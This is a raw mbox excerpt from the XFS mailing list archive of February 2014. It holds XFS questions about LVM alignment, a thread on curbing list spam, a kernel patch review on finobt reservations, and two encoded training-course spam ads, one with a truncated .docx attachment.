La efectividad s=F3lo se hace posible si los dirigidos son capaces de percibir= el significado de su aporte a la organizaci=F3n y su contribuci=F3n a las meta= s globales.

El manejo de informaci=F3n, el an=E1lisis de problemas, el empowerment, la comunicaci=F3n efectiva, la innovaci=F3n y el reconocimiento dan forma al e= stilo de direcci=F3n de ventas que aspiran a desarrollar las empresas modernas.

 

Objetivo: Presentar una visi=F3n sistem=E1tica del rol directivo en ventas, relacion= =E1ndolo con los requerimientos de competitividad, motivaci=F3n, flexibilidad e inno= vaci=F3n que impone un medio en el que el cambio es permanente.

 

Dirigido a: Personas que realicen funciones comerciales directivas o que aspiran a hacerlo en un futuro inmediato, ejecutivos y supervisores de venta.<= /p>

CONTENIDO PROGRAMATICO:

 

•    &nbs= p;      LAS VENTAS HOY

•    &nbs= p;      ENFOQUES ADMINISTRATIVOS

•    &nbs= p;      =BFES IMPORTANTE EL CLIENTE?

•    &nbs= p;      PROCESO DE LA COMPRA Y VENTA

•    &nbs= p;      T=C9CNICAS DE RELACIONAMIENTO CON EL CLIENTE

•    &nbs= p;      ORGANIZACI=D3N Y ESTRUCTURAS DEL EQUIPO DE VENTAS

•    &nbs= p;      AN=C1LISIS OPORTUNIDADES DEL MERCADO

•    &nbs= p;      AN=C1LISIS DE LAS VENTAS

•    &nbs= p;      RESPONSABILIDAD DE LA PROFESI=D3N DE VENTAS

•    &nbs= p;      EL SERVICIO Y LAS VENTAS

•    &nbs= p;      EL DESEMPE=D1O DEL VENDEDOR

•    &nbs= p;      COMPENSACI=D3N E INCENTIVOS

•    &nbs= p;      PROCEDIMIENTO PARA DISE=D1O PROGRAMA DE COMPENSACI=D3N

 

COCHABAMBA

CAMARA DE COMERCIO

Fecha: 13 y 14 de Marzo

Horario: 19:00 a 22:00

 

 

TARIJA

Gran Hotel Tarija

Fecha: 10 y 11 de Marzo

Horario: 19:00 a 22:00

 

COSTO: Bs. 250.- Hasta el 28 de febrero “PROMOCION Bs 200.- HASTA EL 21 DE FEBRERO”

Bs. 300 hasta el d=EDa del evento

Precios especiales a grupos de 3 o m=E1s participantes

DEPOSITO PARA LA INSCRIPCION: Banco Los Andes Pro Credit.

Cta. En bs. N=BA 3001-01-205806-1

 INFORMES Y RESERVAS: TELEFON= OS: 70643311–79511480

CONFIRMAR  A:  &nbs= p;  deccip@gmail.com

El importe Incluye refrigerios, material did=E1ctico y diploma acreditativo

 

--001a1134b9787fa5a904f2b37752-- From chamill@wesleyan.edu Tue Feb 18 13:44:18 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id B6E6E7FAD for ; Tue, 18 Feb 2014 13:44:18 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 949ED8F8039 for ; Tue, 18 Feb 2014 11:44:18 -0800 (PST) X-ASG-Debug-ID: 1392752653-04bdf00fc011ecb0001-NocioJ Received: from internal-smtp4.wesleyan.edu (internal-smtp4.wesleyan.edu [129.133.6.200]) by cuda.sgi.com with ESMTP id rH2k1D3UyftFrcNO (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 18 Feb 2014 11:44:13 -0800 (PST) X-Barracuda-Envelope-From: chamill@wesleyan.edu X-Barracuda-Apparent-Source-IP: 129.133.6.200 Received: from localhost (al.wesleyan.edu [129.133.22.76]) (authenticated bits=0) by msa.wesleyan.edu (8.14.4/8.14.4) with ESMTP id s1IJiBKj019474 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES128-SHA bits=128 verify=NOT) for ; Tue, 18 Feb 2014 14:44:12 -0500 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=wesleyan.edu; s=feb2013.wesmsa; t=1392752652; bh=ORnCYVfGqRDuUXICsIiUgoj7vJxJqRMHQINyEkEn17g=; h=From:To:In-reply-to:Subject:References:Date; b=L3fHTyFzc286lOf9LFI/U5fsCB5kxRnAGBmXs96JR1AKONZAktJwccKxFXNOb93bf qg+SxPBbm9YAY88SAr4bk7/JwwuKAWePF3Pc+QbAcM8NWp1CtqymLn50SaxrUtGrd9 ggU07zFiLpc/NWRt1XSDFUzGpRWkD5CQGA9qLa5Q= Content-Type: text/plain; charset=UTF-8 From: "C. Morgan Hamill" To: xfs In-reply-to: <52F09E36.8050606@hardwarefreak.com> Subject: Re: Question regarding XFS on LVM over hardware RAID. References: <52E91923.4070706@sandeen.net> <1391022066-sup-5863@al.wesleyan.edu> <52E99504.4030902@hardwarefreak.com> <1391090527-sup-4664@al.wesleyan.edu> <20140130202819.GO2212@dastard> <52EB3B96.7000103@hardwarefreak.com> <1391202273-sup-9265@al.wesleyan.edu> <52ED61C9.8060504@hardwarefreak.com> <20140202212152.GP2212@dastard> <1391443675-sup-1730@al.wesleyan.edu> <20140203214128.GR13997@dastard> <52F09E36.8050606@hardwarefreak.com> X-ASG-Orig-Subj: Re: Question regarding XFS on LVM over hardware RAID. Date: Tue, 18 Feb 2014 14:44:10 -0500 Message-Id: <1392748390-sup-1943@al.wesleyan.edu> User-Agent: Sup/git Content-Transfer-Encoding: 8bit X-Wesleyan-MailScanner-ID: s1IJiBKj019474 X-Wesleyan-MailScanner: Found to be clean X-Wesleyan-MailScanner-From: chamill@wesleyan.edu X-Barracuda-Connect: internal-smtp4.wesleyan.edu[129.133.6.200] X-Barracuda-Start-Time: 1392752653 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145253 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature Howdy, sorry for digging up this thread, but I've run into an issue again, and am looking for advice. Excerpts from Stan Hoeppner's message of 2014-02-04 03:00:54 -0500: > After a little digging and thinking this through... > > The default PE size is 4MB but up to 16GB with LVM1, and apparently > unlimited size with LVM2. It can be a few thousand times larger than > any sane stripe width. This makes it pretty clear that PEs exist > strictly for volume management operations, used by the LVM tools, but > have no relationship to regular write IOs. Thus the PE size need not > match nor be evenly divisible by the stripe width. It's not part of the > alignment equation. So in the course of actually going about this, I realized that this actually is not true (I think). Logical volumes can only have sizes that are multiple of the physical extent size (by definition, really), and so there's no way to have logical volumes end on a multiple of the array's stripe width, given my stripe width of 9216s, there doesn't seem to be an abundance of integer solutions to 2^n mod 9216 = 0. So my question is, then, does it matter if logical volumes (or, really, XFS file systems) actually end right on a multiple of the stripe width, or only that it _begin_ on a multiple of it (leaving a bit of dead space before the next logical volume)? If not, I'll tweak things to ensure my stripe width is a power of 2. Thanks again! -- Morgan Hamill From sgi-linux-xfs@m.gmane.org Tue Feb 18 13:50:07 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 453C27FDB for ; Tue, 18 Feb 2014 13:50:07 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 1A9218F8033 for ; Tue, 18 Feb 2014 11:50:06 -0800 (PST) X-ASG-Debug-ID: 1392752975-04bdf00fc011f370001-w1Z2WR Received: from plane.gmane.org (plane.gmane.org [80.91.229.3]) by cuda.sgi.com with ESMTP id qBvFa2zO9HBGKFw0 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 18 Feb 2014 11:49:36 -0800 (PST) X-Barracuda-Envelope-From: sgi-linux-xfs@m.gmane.org X-Barracuda-Apparent-Source-IP: 80.91.229.3 Received: from list by plane.gmane.org with local (Exim 4.69) (envelope-from ) id 1WFqfe-0002HE-HV for linux-xfs@oss.sgi.com; Tue, 18 Feb 2014 20:49:34 +0100 Received: from wombat.san-francisco.ca.us ([75.101.60.140]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Tue, 18 Feb 2014 20:49:34 +0100 Received: from kkeller by wombat.san-francisco.ca.us with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Tue, 18 Feb 2014 20:49:34 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: linux-xfs@oss.sgi.com From: Keith Keller Subject: Re: list spam Date: Tue, 18 Feb 2014 11:44:51 -0800 X-ASG-Orig-Subj: Re: list spam Lines: 22 Message-ID: References: <530386A3.1000604@hardwarefreak.com> <53039793.4040809@sgi.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@ger.gmane.org X-Gmane-NNTP-Posting-Host: wombat.san-francisco.ca.us X-To-Verify: Use pgpverify (ftp://ftp.isc.org/pub/pgpcontrol/) User-Agent: slrn/0.9.9p1 (Linux) X-Barracuda-Connect: plane.gmane.org[80.91.229.3] X-Barracuda-Start-Time: 1392752976 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145254 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 2014-02-18, Brent Bice wrote: > On 02/18/2014 09:13 AM, Stan Hoeppner wrote: >> Taking a look here: http://oss.sgi.com/archives/xfs/2014-02/index.html >> we see 5 spams archived yesterday, and 4 so far today, and many in past >> months. >> >> What can be done to keep these spams out of the archive? > > Make it a moderated list... (though I'd also offer my condolences to > the people nominated as moderators) Since the list is backed by Mailman, there is a less extreme option: restrict posting to subscribed email addresses. This won't prevent all spam, but will cut down a lot. People will still have a harder time emailing the list, but it'd be even harder with a moderated list, so restricting to subscribed addresses may be a reasonable compromise. --keith -- kkeller@wombat.san-francisco.ca.us From bfoster@redhat.com Tue Feb 18 14:34:19 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id BCF9D8001 for ; Tue, 18 Feb 2014 14:34:19 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id AACAA8F8052 for ; Tue, 18 Feb 2014 12:34:16 -0800 (PST) X-ASG-Debug-ID: 1392755655-04cbb00c28550860001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id fwTJAl2TJU4RFuHK for ; Tue, 18 Feb 2014 12:34:15 -0800 (PST) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1IKYB1G001839 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 18 Feb 2014 15:34:12 -0500 Received: from laptop.bfoster (vpn-54-135.rdu2.redhat.com [10.10.54.135]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s1IKYAwx016155 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES128-SHA bits=128 verify=NO); Tue, 18 Feb 2014 15:34:10 -0500 Message-ID: <5303C3C2.5070501@redhat.com> Date: Tue, 18 Feb 2014 15:34:10 -0500 From: Brian Foster User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH v3 04/11] xfs: update inode allocation/free transaction reservations for finobt References: <1391536182-9048-1-git-send-email-bfoster@redhat.com> <1391536182-9048-5-git-send-email-bfoster@redhat.com> <20140211064609.GE13647@dastard> <530393F8.4070106@redhat.com> X-ASG-Orig-Subj: Re: [PATCH v3 04/11] xfs: update inode allocation/free transaction reservations for finobt In-Reply-To: <530393F8.4070106@redhat.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1392755655 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 02/18/2014 12:10 PM, Brian Foster wrote: > On 02/11/2014 01:46 AM, Dave Chinner wrote: >> On Tue, Feb 04, 2014 at 12:49:35PM -0500, Brian Foster wrote: >>> Create the xfs_calc_finobt_res() helper to calculate the finobt log >>> reservation for inode allocation and free. Update >>> XFS_IALLOC_SPACE_RES() to reserve blocks for the additional finobt >>> insertion on inode allocation. Create XFS_IFREE_SPACE_RES() to >>> reserve blocks for the potential finobt record insertion on inode >>> free (i.e., if an inode chunk was previously fully allocated). >>> >>> Signed-off-by: Brian Foster >>> --- >>> fs/xfs/xfs_inode.c | 4 +++- >>> fs/xfs/xfs_trans_resv.c | 47 +++++++++++++++++++++++++++++++++++++++++++---- >>> fs/xfs/xfs_trans_space.h | 7 ++++++- >>> 3 files changed, 52 insertions(+), 6 deletions(-) >>> >>> diff --git a/fs/xfs/xfs_inode.c b/fs/xfs/xfs_inode.c >>> index 001aa89..57c77ed 100644 >>> --- a/fs/xfs/xfs_inode.c >>> +++ b/fs/xfs/xfs_inode.c >>> @@ -1730,7 +1730,9 @@ xfs_inactive_ifree( >>> int error; >>> >>> tp = xfs_trans_alloc(mp, XFS_TRANS_INACTIVE); >>> - error = xfs_trans_reserve(tp, &M_RES(mp)->tr_ifree, 0, 0); >>> + tp->t_flags |= XFS_TRANS_RESERVE; >>> + error = xfs_trans_reserve(tp, &M_RES(mp)->tr_ifree, >>> + XFS_IFREE_SPACE_RES(mp), 0); >> >> Can you add a comment explaining why the XFS_TRANS_RESERVE flag is >> used here, and why it's use won't lead to accelerated reserve pool >> depletion? >> > > So this aspect of things appears to be a bit more interesting than I > originally anticipated. I "reserve enabled" this transaction to > facilitate the ability to free up inodes under ENOSPC conditions. > Without this, the problem of failing out of xfs_inactive_ifree() (and > leaving an inode chained on the unlinked list) is easily reproducible > with generic/083. > > The basic argument for why this is reasonable is that releasing an inode > releases used space (i.e., file blocks and potentially directory blocks > and inode chunks over time). That said, I can manufacture situations > where this is not the case. E.g., allocate a bunch of 0-sized files, > consume remaining free space in some separate file, start removing > inodes in a manner that removes a single inode per chunk or so. This > creates a scenario where the inobt can be very large and the finobt very > small (likely a single record). Removing the inodes in this manner > reduces the likelihood of freeing up any space and thus rapidly grows > the finobt towards the size of the inobt without any free space > available. This might or might not qualify as sane use of the fs, but I > don't think the failure scenario is acceptable as things currently stand. > > I think there are several ways this can go from here. A couple ideas > that have crossed my mind: > > - Find a way to variably reserve the number of blocks that would be > required to grow the finobt to the finobt, based on current state. This > would require the total number of blocks (not just enough for a split), > so this could get complex and somewhat overbearing (i.e., a lot of space > could be quietly reserved, current tracking might not be sufficient and > the allocation paths could get hairy). > > - Work to push the ifree transaction allocation and reservation to the > unlink codepath rather than the eviction codepath. Under normal > circumstances, chain the tp to the xfs_inode such that the eviction code > path can grab it and run. This prevents us going into the state where an > inode is unlinked without having enough space to free up. On the flip > side, ENOSPC on unlink isn't very forgiving behavior to the user. > - Add some state or flags bits to the finobt and the associated ability to kill/invalidate it at runtime. Print a warning with regard to the situation that indicates performance might be affected and a repair is required to re-enable. Brian > I think the former approach is probably overkill for something that > might be a pathological situation. The latter approach is more simple, > but it feels like a bit of a hack. I've experimented with it a bit, but > I'm not quite sure yet if it introduces any transaction issues by > allocating the unlink and ifree transactions at the same time. > > Perhaps another argument could be made that it's rather unlikely we run > into an fs with as many 0-sized (or sub-inode chunk sized) files as > required to deplete the reserve pool without freeing any space, and we > should just touch up the failure handling. E.g., > > 1.) Continue to reserve enable the ifree transaction. Consider expanding > the reserve pool on finobt-enabled fs' if appropriate. Note that this is > not guaranteed to provide enough resources to populate the finobt to the > level of the inobt without freeing up more space. > 2.) Attempt a !XFS_TRANS_RESERVE tp reservation in xfs_inactive_ifree(). > If fails, xfs_warn()/notice() and enable XFS_TRANS_RESERVE. > 3.) Attempt XFS_TRANS_RESERVE reservation. If fails, xfs_notice() and > shutdown. > > And this could probably be made more intelligent to bail out sooner if > we repeat XFS_TRANS_RESERVE reservations without freeing up any space, > etc. Before going too far in one direction... thoughts? > > Brian > >>> if (error) { >>> ASSERT(XFS_FORCED_SHUTDOWN(mp)); >>> xfs_trans_cancel(tp, XFS_TRANS_RELEASE_LOG_RES); >>> diff --git a/fs/xfs/xfs_trans_resv.c b/fs/xfs/xfs_trans_resv.c >>> index 2fd59c0..32f35c1 100644 >>> --- a/fs/xfs/xfs_trans_resv.c >>> +++ b/fs/xfs/xfs_trans_resv.c >>> @@ -98,6 +98,37 @@ xfs_calc_inode_res( >>> } >>> >>> /* >>> + * The free inode btree is a conditional feature and the log reservation >>> + * requirements differ slightly from that of the traditional inode allocation >>> + * btree. The finobt tracks records for inode chunks with at least one free inode. >>> + * Therefore, a record can be removed from the tree for an inode allocation or >>> + * free and the associated merge reservation is unconditional. This also covers >>> + * the possibility of a split on record insertion. >> >> Slightly wider than 80 columns here. FWIW, if you use vim, add this >> rule to have it add a red line at the textwidth you have set: >> >> " highlight textwidth >> set cc=+1 >> >> And that will point out lines that are too long quite obviously ;) >> >>> + * >>> + * the free inode btree: max depth * block size >>> + * the free inode btree entry: block size >>> + * >>> + * TODO: is the modify res really necessary? covered by the merge/split res? >>> + * This seems to be the pattern of ifree, but not create_resv_alloc. Why? >> >> The modify case is for an allocation that only updates an inobt >> record (i.e. chunk already allocated, free inodes in it). Because >> we can remove a finobt record when "modifying" the last free inode >> record in a chunk, "modify" can cause a redcord removal and hence a >> tree merge. In which case it's no different of any of the other >> finobt reservations.... >> >>> @@ -267,6 +298,7 @@ xfs_calc_remove_reservation( >>> * the superblock for the nlink flag: sector size >>> * the directory btree: (max depth + v2) * dir block size >>> * the directory inode's bmap btree: (max depth + v2) * block size >>> + * the finobt >>> */ >>> STATIC uint >>> xfs_calc_create_resv_modify( >>> @@ -275,7 +307,8 @@ xfs_calc_create_resv_modify( >>> return xfs_calc_inode_res(mp, 2) + >>> xfs_calc_buf_res(1, mp->m_sb.sb_sectsize) + >>> (uint)XFS_FSB_TO_B(mp, 1) + >>> - xfs_calc_buf_res(XFS_DIROP_LOG_COUNT(mp), XFS_FSB_TO_B(mp, 1)); >>> + xfs_calc_buf_res(XFS_DIROP_LOG_COUNT(mp), XFS_FSB_TO_B(mp, 1)) + >>> + xfs_calc_finobt_res(mp, 1); >>> } >> >> And this is where is starts to get complex. The modify operation can >> now cause a finobt merge, when means blocks will be allocated/freed. >> That means we now need to take into account: >> >> * the allocation btrees: 2 trees * (max depth - 1) * block size >> >> and anything else freeing an extent requires. >> >>> /* >>> @@ -285,6 +318,7 @@ xfs_calc_create_resv_modify( >>> * the inode blocks allocated: XFS_IALLOC_BLOCKS * blocksize >>> * the inode btree: max depth * blocksize >>> * the allocation btrees: 2 trees * (max depth - 1) * block size >>> + * the finobt >>> */ >>> STATIC uint >>> xfs_calc_create_resv_alloc( >>> @@ -295,7 +329,8 @@ xfs_calc_create_resv_alloc( >>> xfs_calc_buf_res(XFS_IALLOC_BLOCKS(mp), XFS_FSB_TO_B(mp, 1)) + >>> xfs_calc_buf_res(mp->m_in_maxlevels, XFS_FSB_TO_B(mp, 1)) + >>> xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 1), >>> - XFS_FSB_TO_B(mp, 1)); >>> + XFS_FSB_TO_B(mp, 1)) + >>> + xfs_calc_finobt_res(mp, 0); >>> } >> >> This reservation is only for v4 superblocks - the icreate >> transaction reservation is used for v5 superblocks, so that's the >> only one you need to modify. >> >> Cheers, >> >> Dave. >> > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs > From salihov_rinat@adho.com Tue Feb 18 14:46:10 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 0C9E28002 for ; Tue, 18 Feb 2014 14:46:10 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 9430AAC001 for ; Tue, 18 Feb 2014 12:46:09 -0800 (PST) X-ASG-Debug-ID: 1392756366-04bdf00fc9123aa0001-NocioJ Received: from mail.mymeteor.ie (mail.mymeteor.ie [212.129.64.9]) by cuda.sgi.com with ESMTP id HHkPWxZVPIk8IaoE for ; Tue, 18 Feb 2014 12:46:07 -0800 (PST) X-Barracuda-Envelope-From: salihov_rinat@adho.com X-Barracuda-Apparent-Source-IP: 212.129.64.9 Received: from Unknown (61.177.248.202) by mail.mymeteor.ie (7.3.006) (authenticated as Anita.Farrelly@mymeteor.ie) id 524ECDA3037668E0; Tue, 18 Feb 2014 20:45:02 +0000 Message-ID: Reply-To: =?windows-1251?B?zO7y6OLg9uj/IO/u5Pfo7eXt7fv1OiDv8ODq?= =?windows-1251?B?8uj35fHq6OUg8e/u8e7h+yDoIOzl8u7k+y4=?= From: =?windows-1251?B?zO7y6OLg9uj/IO/u5Pfo7eXt7fv1OiDv8ODq?= =?windows-1251?B?8uj35fHq6OUg8e/u8e7h+yDoIOzl8u7k+y4=?= To: , , , Subject: =?windows-1251?B?1/LuIPLg6u7lIPPv8ODi6+Xt6OU/?= Date: Tue, 18 Feb 2014 21:45:14 +0100 X-ASG-Orig-Subj: =?windows-1251?B?1/LuIPLg6u7lIPPv8ODi6+Xt6OU/?= MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_10CE_01CF2CF2.B4C6F800" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2900.5931 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.6109 X-Barracuda-Connect: mail.mymeteor.ie[212.129.64.9] X-Barracuda-Start-Time: 1392756367 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145254 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- This is a multi-part message in MIME format. ------=_NextPart_000_10CE_01CF2CF2.B4C6F800 Content-Type: text/plain; charset="windows-1251" Content-Transfer-Encoding: quoted-printable =D3=E2=E0=E6=E0=E5=EC=FB=E5 =EA=EE=EB=EB=E5=E3=E8! =C5=F1=EB=E8 =C2=FB =F5=EE=F2=E8=F2=E5 =EF=EE=E2=FB=F1=E8=F2=FC =F1=E2=EE= =FE =EA=E2=E0=EB=E8=F4=E8=EA=E0=F6=E8=FE, =E0 =F2=E0=EA=E6=E5 =F3=F1=EE=E2= =E5=F0=F8=E5=ED=F1=F2=E2=EE=E2=E0=F2=FC =EF=F0=EE=F6=E5=F1=F1 =F3=EF=F0=E0= =E2=EB=E5=ED=E8=FF =F1=E2=EE=E8=EC =EE=F2=E4=E5=EB=EE=EC, =EF=F0=E5=E4=EF= =F0=E8=FF=F2=E8=E5=EC =E8=EB=E8 =EB=E8=F7=ED=FB=EC =E2=F0=E5=EC=E5=ED=E5=EC= ,=20 =E4=EE=E1=F0=EE =EF=EE=E6=E0=EB=EE=E2=E0=F2=FC =ED=E0 =ED=E0=F8 =F2=F0=E5= =ED=E8=ED=E3 =E2 =D1=E0=ED=EA=F2-=CF=E5=F2=E5=F0=E1=F3=F0=E3=E5 =AB=D1=EE= =E2=F0=E5=EC=E5=ED=ED=FB=E9 =FD=F4=F4=E5=EA=F2=E8=E2=ED=FB=E9 =F0=F3=EA=EE= =E2=EE=E4=E8=F2=E5=EB=FC=BB =CD=E0 =F2=F0=E5=ED=E8=ED=E3=E5 =C2=FB =ED=E0=F3=F7=E8=F2=E5=F1=FC: =95 =DD=F4=F4=E5=EA=F2=E8=E2=ED=EE =EC=EE=F2=E8=E2=E8=F0=EE=E2=E0=F2=FC =EF= =EE=E4=F7=E8=ED=E5=ED=ED=FB=F5 =E8 =F0=E0=E7=F0=E5=F8=E0=F2=FC =EA=EE=ED=F4= =EB=E8=EA=F2=FB =E2 =EA=EE=EB=EB=E5=EA=F2=E8=E2=E5 =95 =CF=F0=E8=EC=E5=ED=E8=F2=E5 =F0=E5=E7=F3=EB=FC=F2=E0=F2=E8=E2=ED=EE=E5= =F6=E5=EB=E5=EF=EE=EB=E0=E3=E0=ED=E8=E5 =E8 =EF=EB=E0=ED=E8=F0=EE=E2=E0=ED= =E8=E5 =95 =CF=EE=E9=EC=E5=F2=E5, =F7=E5=E3=EE =ED=E5 =F5=E2=E0=F2=E0=E5=F2 =E8=EC= =E5=ED=ED=EE =C2=E0=EC =E4=EB=FF =E1=EE=EB=E5=E5 =F3=F1=EF=E5=F8=ED=EE=E3= =EE =F0=F3=EA=EE=E2=EE=E4=F1=F2=E2=E0 =E8 =F0=EE=F1=F2=E0 =95 =CD=E0=F3=F7=E8=F2=E5=F1=FC =E3=F0=E0=EC=EE=F2=ED=EE =E4=E5=EB=E5=E3=E8= =F0=EE=E2=E0=F2=FC =EF=EE=EB=ED=EE=EC=EE=F7=E8=FF =E8 =E4=F0. =D2=F0=E5=ED=E8=ED=E3 =F1=EE=F1=F2=EE=E8=F2=F1=FF 3-4 =EC=E0=F0=F2=E0 =E2= =D1=E0=ED=EA=F2-=CF=E5=F2=E5=F0=E1=F3=F0=E3=E5. =C7=E2=EE=ED=E8=F2=E5, =F0=E5=E3=E8=F1=F2=F0=E8=F0=F3=E9=F2=E5=F1=FC =E8 = =F3=E7=ED=E0=E2=E0=E9=F2=E5 =E1=EE=EB=FC=F8=E5: +7 [ =EA=EE=E4_=CF=E5=F2=E5=F0=E1=F3=F0=E3=E0 ] 6=F7-2 __ 5=C7= _ 45 ------=_NextPart_000_10CE_01CF2CF2.B4C6F800 Content-Type: application/octet-stream; name="rukovoditel 2014.docx" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="rukovoditel 2014.docx" UEsDBBQABgAIAAAAIQCPWexTnwEAABYHAAATAAgCW0NvbnRlbnRfVHlwZXNdLnhtbCCiBAIooAAC AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC0 lc1OwzAQhO9IvEPkK0pcOCCEmnKAcoRKFHF27U1rkdiWdwvt27Np2qiglpSfXiI59s58Hlvr/s2i 